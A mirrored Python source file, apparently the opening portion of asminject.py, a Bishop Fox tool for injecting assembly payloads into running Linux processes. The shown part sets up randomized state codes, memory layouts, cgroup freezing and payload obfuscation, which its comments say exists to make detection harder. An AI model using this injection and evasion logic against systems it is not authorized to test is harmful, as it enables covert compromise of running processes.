mirror of
https://github.com/BishopFox/asminject.git
synced 2026-11-07 09:35:57 -10:00
2756 lines
163 KiB
Python
2756 lines
163 KiB
Python
#!/usr/bin/env python3
|
|
|
|
f"Python version >= 3.6 required!"
|
|
# ^^^ fstrings are valid since python 3.6, will syntax error otherwise
|
|
|
|
BANNER = r"""
|
|
.__ __ __
|
|
_____ ___/\ ____ |__| ____ |__| ____ _____/ |_ ______ ___.__.
|
|
/ _ | / ___/ / || |/ \ | |/ __ \_/ ___\ __\ \____ < | |
|
|
/ /_| |/___ // / / || | | \ | \ ___/\ \___| | | |_> >___ |
|
|
\_____| /___//_/_/__||__|___| /\__| |\___ >\___ >__| /\| __// ____|
|
|
\/ \/\______| \/ \/ \/|__| \/
|
|
|
|
asminject.py
|
|
v0.41
|
|
Ben Lincoln, Bishop Fox, 2022-10-03
|
|
https://github.com/BishopFox/asminject
|
|
based on dlinject, which is Copyright (c) 2019 David Buchanan
|
|
dlinject source: https://github.com/DavidBuchanan314/dlinject
|
|
"""
|
|
|
|
import argparse
|
|
import datetime
|
|
import inspect
|
|
import json
|
|
import math
|
|
import os
|
|
import platform
|
|
import psutil
|
|
import random
|
|
import re
|
|
import secrets
|
|
import shutil
|
|
import signal
|
|
import stat
|
|
import struct
|
|
import sys
|
|
import tempfile
|
|
import time
|
|
import subprocess
|
|
|
|
from pathlib import Path
|
|
|
|
class asminject_state_codes:
|
|
|
|
def randomize_state_variables(self):
|
|
# randomize state values
|
|
self.state_map["switch_to_new_communication_address"] = secrets.randbelow(self.state_variable_max)
|
|
comparison_list = [self.state_map["switch_to_new_communication_address"]]
|
|
self.state_map["ready_for_stage_two_write"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["ready_for_stage_two_write"])
|
|
self.state_map["stage_two_written"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["stage_two_written"])
|
|
self.state_map["ready_for_memory_restore"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["ready_for_memory_restore"])
|
|
self.state_map["memory_restored"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["memory_restored"])
|
|
self.state_map["payload_to_script_message"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["payload_to_script_message"])
|
|
self.state_map["script_to_payload_message"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["script_to_payload_message"])
|
|
self.state_map["message_received"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["message_received"])
|
|
self.state_map["payload_ready_for_script_cleanup"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["payload_ready_for_script_cleanup"])
|
|
self.state_map["script_cleanup_complete"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["script_cleanup_complete"])
|
|
self.state_map["payload_should_exit"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["payload_should_exit"])
|
|
self.state_map["payload_exiting"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["payload_exiting"])
|
|
self.state_map["payload_awaiting_string"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["payload_awaiting_string"])
|
|
self.state_map["payload_awaiting_binary_data"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["payload_awaiting_binary_data"])
|
|
self.state_map["payload_awaiting_signed_integer"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["payload_awaiting_signed_integer"])
|
|
self.state_map["payload_awaiting_unsigned_integer"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.state_map["payload_awaiting_unsigned_integer"])
|
|
|
|
# randomize message type indicators
|
|
self.message_type_map["signed_integer"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.message_type_map["signed_integer"])
|
|
self.message_type_map["unsigned_integer"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.message_type_map["unsigned_integer"])
|
|
self.message_type_map["pointer_to_binary_data"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.message_type_map["pointer_to_binary_data"])
|
|
self.message_type_map["pointer_to_string_data"] = asminject_parameters.get_secure_random_not_in_list(self.state_variable_max, comparison_list)
|
|
comparison_list.append(self.message_type_map["pointer_to_string_data"])
|
|
|
|
def get_state_name_from_value(self, val):
|
|
for k in self.state_map.keys():
|
|
if val == self.state_map[k]:
|
|
return f"{k} ({hex(val)})"
|
|
#return None
|
|
result_text = "[null]"
|
|
if val:
|
|
result_text = hex(val)
|
|
return f"unknown state {result_text}"
|
|
|
|
def get_message_type_name_from_value(self, val):
|
|
for k in self.message_type_map.keys():
|
|
if val == self.message_type_map[k]:
|
|
return k
|
|
#return None
|
|
result_text = "[null]"
|
|
if val:
|
|
result_text = hex(val)
|
|
return f"unknown message type {result_text}"
|
|
|
|
def __init__(self):
|
|
self.state_variable_max = 0xFFFFFF
|
|
self.state_map = {}
|
|
self.message_type_map = {}
|
|
|
|
# state values
|
|
# stage 1 has allocated memory and is ready to switch to a new communication address
|
|
self.state_map["switch_to_new_communication_address"] = 47
|
|
# stage 1 is ready for stage 2 to be written
|
|
self.state_map["ready_for_stage_two_write"] = self.state_map["switch_to_new_communication_address"] * 2
|
|
# the script has written stage 2 and is ready for stage 1 to launch stage 2
|
|
self.state_map["stage_two_written"] = self.state_map["switch_to_new_communication_address"] * 3
|
|
# the payload is ready for the script to restore target process memory to its pre-injection state
|
|
self.state_map["ready_for_memory_restore"] = self.state_map["switch_to_new_communication_address"] * 4
|
|
# the script has restored target process memory
|
|
self.state_map["memory_restored"] = self.state_map["switch_to_new_communication_address"] * 5
|
|
# the payload has data to send back to the script
|
|
self.state_map["payload_to_script_message"] = self.state_map["switch_to_new_communication_address"] * 6
|
|
# the script has data to send to the payload
|
|
self.state_map["script_to_payload_message"] = self.state_map["switch_to_new_communication_address"] * 7
|
|
# the current message has been received, and the waiting party can proceed
|
|
self.state_map["message_received"] = self.state_map["switch_to_new_communication_address"] * 8#
|
|
# the script wants the payload to stop executing (for persistent/looping payloads, etc.)
|
|
self.state_map["payload_should_exit"] = self.state_map["switch_to_new_communication_address"] * 9
|
|
# the payload is exiting (either because it completed or because the script told it to exit)
|
|
self.state_map["payload_exiting"] = self.state_map["switch_to_new_communication_address"] * 10
|
|
# the payload wants the script to send a string
|
|
self.state_map["payload_awaiting_string"] = self.state_map["switch_to_new_communication_address"] * 11
|
|
# the payload wants the script to send raw binary data
|
|
self.state_map["payload_awaiting_binary_data"] = self.state_map["switch_to_new_communication_address"] * 11
|
|
# the payload wants the script to send an immediate integer value
|
|
self.state_map["payload_awaiting_signed_integer"] = self.state_map["switch_to_new_communication_address"] * 13
|
|
self.state_map["payload_awaiting_unsigned_integer"] = self.state_map["switch_to_new_communication_address"] * 14
|
|
|
|
# message type indicators
|
|
# immediate values of whatever the word length is for the platform - only data 1 used
|
|
self.message_type_map["signed_integer"] = self.state_map["switch_to_new_communication_address"] * 101
|
|
self.message_type_map["unsigned_integer"] = self.state_map["switch_to_new_communication_address"] * 102
|
|
# pointers to data in memory - pointer in data 1, number of bytes in data 2
|
|
self.message_type_map["pointer_to_binary_data"] = self.state_map["switch_to_new_communication_address"] * 103
|
|
self.message_type_map["pointer_to_string_data"] = self.state_map["switch_to_new_communication_address"] * 104
|
|
|
|
class asminject_parameters:
|
|
@staticmethod
|
|
def get_file_as_cstring(file_path):
|
|
result = ""
|
|
try:
|
|
with open(file_path, "rb") as input_file:
|
|
try:
|
|
current_byte = input_file.read(1)
|
|
while current_byte != b"":
|
|
result = result + "\\x" + '{0:0{1}x}'.format(int.from_bytes(current_byte, "little"), 2)
|
|
current_byte = input_file.read(1)
|
|
except Exception as e:
|
|
log_error(f"Couldn't read binary data from file '{file_path}': {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
except FileNotFoundError as e:
|
|
log_error(f"Couldn't open file '{file_path}': {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
return result
|
|
|
|
# because random.shuffle with a random function is deprecrated in Python 3.9
|
|
@staticmethod
|
|
def get_securely_shuffled_array(arr):
|
|
result = []
|
|
temp_array_1 = []
|
|
for i in range(0, len(arr)):
|
|
temp_array_1.append(arr[i])
|
|
while len(temp_array_1) > 0:
|
|
rand_index = secrets.randbelow(len(temp_array_1))
|
|
result.append(temp_array_1.pop(rand_index))
|
|
|
|
return result
|
|
|
|
@staticmethod
|
|
def get_random_float_for_shuffle():
|
|
internal_range = 1000
|
|
# internal_val = float(secrets.randbelow(internal_range + 1))
|
|
#return internal_val / float(internal_range)
|
|
# secrets.randbelow is picky
|
|
#internal_val = float(secrets.randbelow(internal_range + 1)) / float(internal_range)
|
|
internal_val = float(secrets.randbelow(internal_range)) / float(internal_range)
|
|
if internal_val > 1.0:
|
|
internal_val = 1.0
|
|
if internal_val < 0.0:
|
|
internal_val = 0.0
|
|
|
|
return internal_val
|
|
|
|
|
|
@staticmethod
|
|
def get_secure_random_not_in_list(max_value, list_of_existing_values):
|
|
result = secrets.randbelow(max_value)
|
|
while result in list_of_existing_values:
|
|
result = secrets.randbelow(max_value)
|
|
return result
|
|
|
|
@staticmethod
|
|
def get_timestamp_string():
|
|
return datetime.datetime.utcnow().isoformat()
|
|
|
|
@staticmethod
|
|
def get_timestamp_string_for_paths():
|
|
result = asminject_parameters.get_timestamp_string()
|
|
# replace the "+00:00" with "Z" in case it shows up
|
|
# because "-[offset]" instead of "+[offset]" would be inaccurate
|
|
result = result.replace("+00:00", "Z")
|
|
# replace delimiters that are frequently problematic in paths:
|
|
#result = re.sub('[: ]', '-', result)
|
|
# remove any other unexpected characters
|
|
# result = re.sub('[^0-9\-TZ]', '', result)
|
|
# as well as characters that make it easier to recognize the string as asminject.py's
|
|
result = re.sub('[^0-9]', '', result)
|
|
return result
|
|
|
|
def set_rwr_arbitrary_data_block_values(self):
|
|
self.rwr_arbitrary_data_offset = self.rwr_reserved_offset + self.rwr_reserved_length
|
|
self.rwr_arbitrary_data_length = self.read_write_region_size - self.rwr_arbitrary_data_offset
|
|
|
|
@staticmethod
|
|
def get_next_largest_multiple(existing_value, modulus):
|
|
result = existing_value
|
|
while (result % modulus) > 0:
|
|
result += 1
|
|
return result
|
|
|
|
@staticmethod
|
|
def get_random_memory_block_size(min_value, max_value, allocation_unit_size):
|
|
value_range = max_value - min_value
|
|
r1 = secrets.randbelow(value_range) + min_value
|
|
return asminject_parameters.get_next_largest_multiple(r1, allocation_unit_size)
|
|
|
|
def get_region_info_template(self, region_base_address, offset, length, perm_string):
|
|
result = memory_map_entry()
|
|
if not region_base_address:
|
|
#print("Missing base address!")
|
|
return result
|
|
# Can't check these for null because 0 matches "not"
|
|
# if not offset:
|
|
# print("Missing offset!")
|
|
# return result
|
|
# if not length:
|
|
# print("Missing length!")
|
|
# return result
|
|
result.start_address = region_base_address + offset
|
|
result.end_address = result.start_address + length
|
|
result.set_permissions_from_string(perm_string)
|
|
return result
|
|
|
|
def get_region_info_communication(self):
|
|
return self.get_region_info_template(self.read_write_region_address, self.rwr_communication_offset, self.rwr_communication_length, "rw-p")
|
|
|
|
def get_region_info_cpu_state_backup(self):
|
|
return self.get_region_info_template(self.read_write_region_address, self.rwr_cpu_state_backup_offset, self.rwr_cpu_state_backup_length, "rw-p")
|
|
|
|
def get_region_info_stack_backup(self):
|
|
return self.get_region_info_template(self.read_write_region_address, self.rwr_stack_backup_offset, self.rwr_stack_backup_length, "rw-p")
|
|
|
|
def get_region_info_arbitrary_data(self):
|
|
return self.get_region_info_template(self.read_write_region_address, self.rwr_arbitrary_data_offset, self.rwr_arbitrary_data_length, "rw-p")
|
|
|
|
def get_base_communication_address(self):
|
|
if self.read_write_region_address:
|
|
if self.get_region_info_communication().start_address:
|
|
return self.get_region_info_communication().start_address
|
|
return self.initial_communication_address
|
|
|
|
# this location is randomized to make detection more difficult
|
|
def set_initial_communication_address(self):
|
|
if self.existing_read_write_address:
|
|
# If there's an existing r/w block in use, no need to write to the stack at all
|
|
self.initial_communication_address = self.existing_read_write_address
|
|
else:
|
|
stack_size = self.stack_region.end_address - self.stack_region.start_address
|
|
# Basically just use most of the upper half of the stack region, evenly divisible by the word length
|
|
comms_address_min_offset = int(stack_size / 2)
|
|
comms_address_max_offset = stack_size - (self.register_size * 6)
|
|
comms_address_offset = asminject_parameters.get_random_memory_block_size(comms_address_min_offset, comms_address_max_offset, self.register_size)
|
|
self.initial_communication_address = self.stack_region.start_address + comms_address_offset
|
|
|
|
def cache_obfuscation_files(self, recreate_existing_cache = False):
|
|
if recreate_existing_cache or not self.obfuscation_files_cached:
|
|
self.obfuscation_fragments_general_purpose = []
|
|
self.obfuscation_fragments_communications_address = []
|
|
self.obfuscation_fragments_allocated_memory = []
|
|
|
|
base_fragment_file_path = os.path.join(self.base_script_path, "asm", self.architecture, self.fragment_directory_name, "obfuscation")
|
|
fragment_subdirectory_names = ["general_purpose", "communications_address", "allocated_read_write"]
|
|
for subdirectory_name in fragment_subdirectory_names:
|
|
current_fragment_directory_path = os.path.join(base_fragment_file_path, subdirectory_name)
|
|
for directory_entry in os.listdir(current_fragment_directory_path):
|
|
entry_path = os.path.join(current_fragment_directory_path, directory_entry)
|
|
if os.path.isfile(entry_path):
|
|
try:
|
|
with open(entry_path, "r") as fragment_source_file:
|
|
fragment_source = fragment_source_file.read()
|
|
if subdirectory_name == "general_purpose":
|
|
self.obfuscation_fragments_general_purpose.append(fragment_source)
|
|
if subdirectory_name == "communications_address":
|
|
self.obfuscation_fragments_communications_address.append(fragment_source)
|
|
if subdirectory_name == "allocated_read_write":
|
|
self.obfuscation_fragments_allocated_memory.append(fragment_source)
|
|
except Exception as e:
|
|
log_error(f"Could not read assembly obfuscation source code fragment '{entry_path}': {e}", ansi=self.ansi)
|
|
return None
|
|
|
|
self.obfuscation_files_cached = True
|
|
|
|
def populate_randomized_state_backup_restore_list(self, repopulate_existing = False):
|
|
if repopulate_existing or len(self.randomized_backup_restore_instruction_list) == 0:
|
|
self.randomized_backup_restore_instruction_list = []
|
|
for i in range(0, len(self.state_backup_restore_instruction_list)):
|
|
self.randomized_backup_restore_instruction_list.append(self.state_backup_restore_instruction_list[i])
|
|
self.randomized_backup_restore_instruction_list = asminject_parameters.get_securely_shuffled_array(self.randomized_backup_restore_instruction_list)
|
|
|
|
def get_randomized_state_backup_instruction_list(self):
|
|
result = ""
|
|
for i in range(0, len(self.randomized_backup_restore_instruction_list)):
|
|
result = f"{result}{self.randomized_backup_restore_instruction_list[i][0]}\n"
|
|
return result
|
|
|
|
def get_randomized_state_restore_instruction_list(self):
|
|
result = ""
|
|
for i in range(0, len(self.randomized_backup_restore_instruction_list)):
|
|
result = f"{result}{self.randomized_backup_restore_instruction_list[(len(self.randomized_backup_restore_instruction_list) - 1) - i][1]}\n"
|
|
return result
|
|
|
|
def set_communications_address_config(self):
|
|
value_count = 0
|
|
|
|
self.communication_address_offset_payload_state = self.register_size * value_count
|
|
value_count += 1
|
|
|
|
self.communication_address_offset_script_state = self.register_size * value_count
|
|
value_count += 1
|
|
|
|
# Addresses of read/execute and read/write memory - dedicated storage because they're referred to so frequently
|
|
self.communication_address_offset_read_execute_base_address = self.register_size * value_count
|
|
value_count += 1
|
|
self.communication_address_offset_read_write_base_address = self.register_size * value_count
|
|
value_count += 1
|
|
|
|
# One message type and two arbitrary words for the payload to send data to the script
|
|
self.communication_address_offset_payload_data_type = self.register_size * value_count
|
|
value_count += 1
|
|
self.communication_address_offset_payload_data_1 = self.register_size * value_count
|
|
value_count += 1
|
|
self.communication_address_offset_payload_data_2 = self.register_size * value_count
|
|
value_count += 1
|
|
|
|
# One message type and two arbitrary words for the script to send data to the payload
|
|
self.communication_address_offset_script_data_type = self.register_size * value_count
|
|
value_count += 1
|
|
self.communication_address_offset_script_data_1 = self.register_size * value_count
|
|
value_count += 1
|
|
self.communication_address_offset_script_data_2 = self.register_size * value_count
|
|
value_count += 1
|
|
|
|
self.communication_address_backup_size = self.register_size * value_count
|
|
|
|
def __init__(self):
|
|
# memory regions must be evenly divisible by this amount
|
|
# (currently only to make sure that memory overwrite doesn't extend
|
|
|
|
# x86-64: 8 bytes * 16 registers
|
|
self.stack_backup_size = 8 * 16
|
|
|
|
# CPU register width in bytes
|
|
self.register_size = 8
|
|
self.register_size_format_string = 'Q'
|
|
|
|
self.flag_setting_instructions = [ "cmp" ]
|
|
self.no_obfuscation_after_instructions = []
|
|
|
|
# Temporary communication address for use before stage one allocates the r/w block
|
|
#self.communication_address_offset = -40
|
|
#self.communication_address_backup_size = 24
|
|
self.set_communications_address_config()
|
|
|
|
self.initial_communication_address = None
|
|
|
|
self.general_purpose_register_list = []
|
|
# set of tuples containing any state backup/restore instructions for the architecture, so that the order can be randomized
|
|
# replaces the [STATE_BACKUP_INSTRUCTIONS] and [STATE_RESTORE_INSTRUCTIONS] placeholders in stage 1 and 2
|
|
# each tuple should contain a single equivalent backup/restore instruction pair, since the order is reverse during restoration
|
|
self.state_backup_restore_instruction_list = []
|
|
self.randomized_backup_restore_instruction_list = []
|
|
|
|
# ARM-specific options that are (more or less) independent of the overall architecture
|
|
self.arm_backup_s0_to_s31 = False
|
|
self.arm_backup_d16_to_d31 = False
|
|
|
|
|
|
# 512 is the minimum for the x86-64 fxsave instruction
|
|
#self.cpu_state_size = 1024
|
|
# Might need to make this dynamic based on the stack backup size
|
|
#self.existing_stack_backup_location_size = 2048
|
|
#self.existing_stack_backup_location_offset = 1024
|
|
#self.new_stack_size = 2048
|
|
#self.new_stack_location_offset = 1024
|
|
#self.arbitrary_read_write_data_size = 2048
|
|
#self.arbitrary_read_write_data_location_offset = 0
|
|
# When allocating memory, use blocks evenly divisible by this amount:
|
|
self.allocation_unit_size = 0x1000
|
|
|
|
self.read_execute_region_address = None
|
|
self.read_execute_region_size_min = 0x8000
|
|
#self.read_execute_region_size_max = 0x200000
|
|
self.read_execute_region_size_max = 0x90000
|
|
#self.read_execute_region_size = 0x8000
|
|
self.read_execute_region_size = asminject_parameters.get_random_memory_block_size(self.read_execute_region_size_min, self.read_execute_region_size_max, self.allocation_unit_size)
|
|
|
|
self.read_write_region_address = None
|
|
self.read_write_region_size_min = 0x10000
|
|
#self.read_write_region_size_max = 0x200000
|
|
self.read_write_region_size_max = 0x90000
|
|
#self.read_write_region_size = 0x10000
|
|
self.read_write_region_size = asminject_parameters.get_random_memory_block_size(self.read_write_region_size_min, self.read_write_region_size_max, self.allocation_unit_size)
|
|
|
|
# r/w block map
|
|
# sub-region 1: post-allocation script/payload communication
|
|
self.rwr_communication_offset = 0x0
|
|
self.rwr_communication_length = 0x1000
|
|
# sub-region 2: pre-injection CPU state backup (fxsave/fxrstor or similar)
|
|
self.rwr_cpu_state_backup_offset = 0x1000
|
|
self.rwr_cpu_state_backup_length = 0x1000
|
|
# sub-region 3: stage 1 stack backup containing CPU register data
|
|
# from immediately after injection
|
|
self.rwr_stack_backup_offset = 0x2000
|
|
self.rwr_stack_backup_length = 0x1000
|
|
# reserved space
|
|
self.rwr_reserved_offset = 0x3000
|
|
self.rwr_reserved_length = 0x3000
|
|
# sub-region X: arbitrary read/write block
|
|
self.set_rwr_arbitrary_data_block_values()
|
|
|
|
self.stack_region = None
|
|
|
|
# number of seconds the stage 1 and stage 2 code should sleep
|
|
# every iteration they are waiting for something
|
|
self.stage_sleep_seconds = 1
|
|
|
|
# For "slow" mode
|
|
self.high_priority_nice = -20
|
|
self.low_priority_nice = 20
|
|
|
|
self.sleep_time_waiting_for_syscalls = 0.1
|
|
self.max_address_npic_suggestion = 0x00400000
|
|
|
|
# More than anyone will ever intentionally use
|
|
# But low enough that the script will time out in a reasonable amount of time if there's an infinite loop
|
|
self.max_fragment_recursion = 1000
|
|
|
|
# Making this slightly more than 1 second so that it should be impossible
|
|
# For the stage/shellcode and the script to get stuck in a state where
|
|
# They're exactly out of sync
|
|
self.wait_delay = 1.1
|
|
self.restore_delay = 0.0
|
|
|
|
# Randomized from initial state to make detection more challenging
|
|
# self.state_variable_max = 0xFFFFFF
|
|
# self.state_map["ready_for_stage_two_write"] = 47
|
|
# self.state_map["stage_two_written"] = self.state_map["ready_for_stage_two_write"] * 2
|
|
# self.state_map["ready_for_memory_restore"] = self.state_map["ready_for_stage_two_write"] * 3
|
|
# self.state_map["memory_restored"] = self.state_map["ready_for_stage_two_write"] * 4
|
|
# self.randomize_state_variables()
|
|
self.state_variables = asminject_state_codes()
|
|
self.state_variables.randomize_state_variables()
|
|
|
|
self.base_script_path = ""
|
|
self.pid = -1
|
|
self.asm_path = ""
|
|
self.relative_offsets = {}
|
|
self.non_pic_binaries = []
|
|
self.architecture = ""
|
|
self.stop_method="sigstop"
|
|
self.ansi=True
|
|
self.pause_before_resume = False
|
|
self.pause_before_launching_stage2 = False
|
|
self.pause_before_memory_restore = False
|
|
self.pause_after_memory_restore = False
|
|
self.precompiled_shellcode = None
|
|
self.custom_replacements = {}
|
|
self.delete_temp_files = True
|
|
self.write_assembly_source_to_disk = False
|
|
self.existing_stage_1_source = None
|
|
self.existing_stage_2_source = None
|
|
|
|
self.freeze_dir = "/sys/fs/cgroup/freezer/" + secrets.token_bytes(8).hex()
|
|
self.fragment_directory_name = "fragments"
|
|
self.payload_assembly_subdirectory_name = "assembly"
|
|
self.memory_region_backup_subdirectory_name = "memory"
|
|
|
|
self.asminject_pid = None
|
|
self.asminject_priority = None
|
|
self.asminject_priority_original = None
|
|
self.target_priority = None
|
|
self.target_priority_original = None
|
|
self.asminject_affinity = None
|
|
self.asminject_affinity_original = None
|
|
self.target_affinity = None
|
|
self.target_affinity_original = None
|
|
self.target_process = None
|
|
self.shared_affinity = None
|
|
self.captured_initial_process_priority = False
|
|
|
|
self.shellcode_section_delimiter = "SHELLCODE_SECTION_DELIMITER"
|
|
self.precompiled_shellcode_label = "precompiled_shellcode"
|
|
self.post_shellcode_label = "post_shellcode_section"
|
|
self.inline_shellcode_placeholder = "[VARIABLE:INLINE_SHELLCODE:VARIABLE]"
|
|
self.fragment_placeholder = "[FRAGMENTS]"
|
|
|
|
self.enable_debugging_output = False
|
|
self.clear_payload_memory_after_execution = False
|
|
# wait this many seconds after the payload has indicated it is ready for cleanup before wiping memory
|
|
self.clear_payload_memory_delay = 2.0
|
|
# will be expanded to the register size for the platform
|
|
self.clear_payload_memory_value = 0x00
|
|
|
|
self.instruction_pointer_register_name = "RIP"
|
|
self.stack_pointer_register_name = "RSP"
|
|
|
|
self.saved_instruction_pointer_value = None
|
|
self.saved_stack_pointer_value = None
|
|
self.code_backup_length = None
|
|
|
|
# deallocate the r/w memory allocated by stage 1 when stage 2 is about to exit
|
|
# haven't come up with a way to deallocate the r/x memory
|
|
self.deallocate_memory = True
|
|
# If these values are not None, then stage 1 will use the specified locations
|
|
# for read/write and/or read/execute purposes
|
|
# to avoid repeated allocate/deallocate operations and memory leak if injecting
|
|
# into the same process repeatedly
|
|
self.existing_read_write_address = None
|
|
self.existing_read_execute_address = None
|
|
|
|
self.internal_memory_region_restore_ignore_list = [ '[vdso]', '[vvar]' ]
|
|
self.restore_memory_region_regexes = []
|
|
self.restore_all_memory_regions = False
|
|
self.backup_chunk_size = 0x1000
|
|
|
|
timestamp_string = asminject_parameters.get_timestamp_string_for_paths()
|
|
random_string = hex(secrets.randbelow(0xFFFFFFF)).replace("0x", "")
|
|
self.temp_file_base_directory = os.path.join(tempfile.gettempdir(), f"{timestamp_string}{random_string}")
|
|
|
|
self.relative_offsets_from_binaries = False
|
|
self.obfuscate_payloads = False
|
|
self.per_line_obfuscation_percentage = 0.25
|
|
self.obfuscation_iterations = 1
|
|
self.obfuscation_fragment_counter = 0
|
|
self.obfuscation_files_cached = False
|
|
self.obfuscation_fragments_allocated_memory = []
|
|
self.obfuscation_fragments_general_purpose = []
|
|
self.obfuscation_fragments_communications_address = []
|
|
|
|
def set_dynamic_process_info_vars(self):
|
|
self.target_process = psutil.Process(self.pid)
|
|
self.asminject_pid = os.getpid()
|
|
self.asminject_process = psutil.Process(self.asminject_pid)
|
|
self.asminject_priority = self.asminject_process.nice()
|
|
self.target_priority = self.target_process.nice()
|
|
self.asminject_affinity = self.asminject_process.cpu_affinity()
|
|
self.target_affinity = self.target_process.cpu_affinity()
|
|
|
|
# Only set these the first time
|
|
if not self.captured_initial_process_priority:
|
|
self.captured_initial_process_priority = True
|
|
self.asminject_priority_original = self.asminject_priority
|
|
self.target_priority_original = self.target_priority
|
|
self.asminject_affinity_original = self.asminject_affinity
|
|
self.target_affinity_original = self.target_affinity
|
|
if len(self.asminject_affinity) == 1:
|
|
self.shared_affinity = self.asminject_affinity
|
|
else:
|
|
self.shared_affinity = [self.asminject_affinity[0]]
|
|
|
|
def set_architecture(self, architecture_string):
|
|
self.architecture = architecture_string
|
|
|
|
if self.architecture == "x86-64":
|
|
self.register_size = 8
|
|
self.register_size_format_string = 'Q'
|
|
self.stage_sleep_seconds = 2
|
|
# 8 bytes * 16 registers
|
|
self.stack_backup_size = 8 * 16
|
|
self.communication_address_backup_size = 32
|
|
self.instruction_pointer_register_name = "RIP"
|
|
self.stack_pointer_register_name = "RSP"
|
|
self.general_purpose_register_list = ["rax", "rbx", "rcx", "rdx", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"]
|
|
#self.state_backup_restore_instruction_list = [ ("pushfq", "popfq"), ("push rax", "pop rax"), ("push rbx", "pop rbx"), ("push rcx", "pop rcx"), ("push rdx", "pop rdx"), ("push rbp", "pop rbp"), ("push rsi", "pop rsi"), ("push rdi", "pop rdi"), ("push r8", "pop r8"), ("push r9", "pop r9"), ("push r10", "pop r10"), ("push r11", "pop r11"), ("push r12", "pop r12"), ("push r13", "pop r13"), ("push r14", "pop r14"), ("push r15", "pop r15") ]
|
|
self.state_backup_restore_instruction_list = [ ("push rax", "pop rax"), ("push rbx", "pop rbx"), ("push rcx", "pop rcx"), ("push rdx", "pop rdx"), ("push rbp", "pop rbp"), ("push rsi", "pop rsi"), ("push rdi", "pop rdi"), ("push r8", "pop r8"), ("push r9", "pop r9"), ("push r10", "pop r10"), ("push r11", "pop r11"), ("push r12", "pop r12"), ("push r13", "pop r13"), ("push r14", "pop r14"), ("push r15", "pop r15") ]
|
|
self.flag_setting_instructions = [ "cmp" ]
|
|
self.no_obfuscation_after_instructions = [ "leave" ]
|
|
if self.architecture == "x86":
|
|
self.register_size = 4
|
|
self.register_size_format_string = 'L'
|
|
self.stage_sleep_seconds = 2
|
|
# 4 bytes * 16 registers
|
|
self.stack_backup_size = 4 * 16
|
|
self.communication_address_backup_size = 32
|
|
self.instruction_pointer_register_name = "EIP"
|
|
self.stack_pointer_register_name = "ESP"
|
|
self.general_purpose_register_list = ["eax", "ebx", "ecx", "edx"]
|
|
|
|
#self.state_backup_restore_instruction_list = [ ("push eax", "pop eax"), ("push ebx", "pop ebx"), ("push ecx", "pop ecx"), ("push edx", "pop edx"), ("push ebp", "pop ebp"), ("push esi", "pop esi"), ("push edi", "pop edi"), ("push cs", "pop cs"), ("push ds", "pop ds"), ("push es", "pop es"), ("push fs", "pop fs"), ("push gs", "pop gs"), ("push ss", "pop ss") ]
|
|
self.state_backup_restore_instruction_list = [ ("push eax", "pop eax"), ("push ebx", "pop ebx"), ("push ecx", "pop ecx"), ("push edx", "pop edx"), ("push ebp", "pop ebp"), ("push esi", "pop esi"), ("push edi", "pop edi")]
|
|
self.flag_setting_instructions = [ "cmp" ]
|
|
# x86 code uses a lot of these kinds of logic:
|
|
# "set a pointer to the address of the data after this jmp"
|
|
# ...which involves an uninterrupted sequence of call => pop => add => jmp
|
|
self.no_obfuscation_after_instructions = [ "add", "call", "jmp", "pop", "leave" ]
|
|
if self.architecture == "arm32":
|
|
self.register_size = 4
|
|
self.register_size_format_string = 'L'
|
|
# 4 bytes * 13 registers
|
|
#self.stack_backup_size = 4 * 12
|
|
self.stack_backup_size = 8 * 16
|
|
self.communication_address_backup_size = 16
|
|
# ARM32 doesn't seem to trigger the Linux "in a syscall" state
|
|
# for long enough for the script to catch unless this value is
|
|
# around 5 seconds.
|
|
#self.stage_sleep_seconds = 5
|
|
self.stage_sleep_seconds = 2
|
|
self.instruction_pointer_register_name = "pc"
|
|
self.stack_pointer_register_name = "sp"
|
|
self.general_purpose_register_list = ["r0", "r1", "r2", "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11"]
|
|
self.state_backup_restore_instruction_list = [ ("stmdb sp!,{r0-r11}", "ldmia sp!, {r0-r11}") ]
|
|
if self.arm_backup_s0_to_s31:
|
|
self.state_backup_restore_instruction_list.append(("stmdb sp!,{s0-s31}", "ldmia sp!, {s0-s31}"))
|
|
if self.arm_backup_d16_to_d31:
|
|
self.state_backup_restore_instruction_list.append(("stmdb sp!,{d16-d31}", "ldmia sp!, {d16-d31}"))
|
|
self.flag_setting_instructions = [ "cmp", "cmn", "tst", "teq" ]
|
|
self.no_obfuscation_after_instructions = [ "ldr", "b", "bx", "bl", "blx"]
|
|
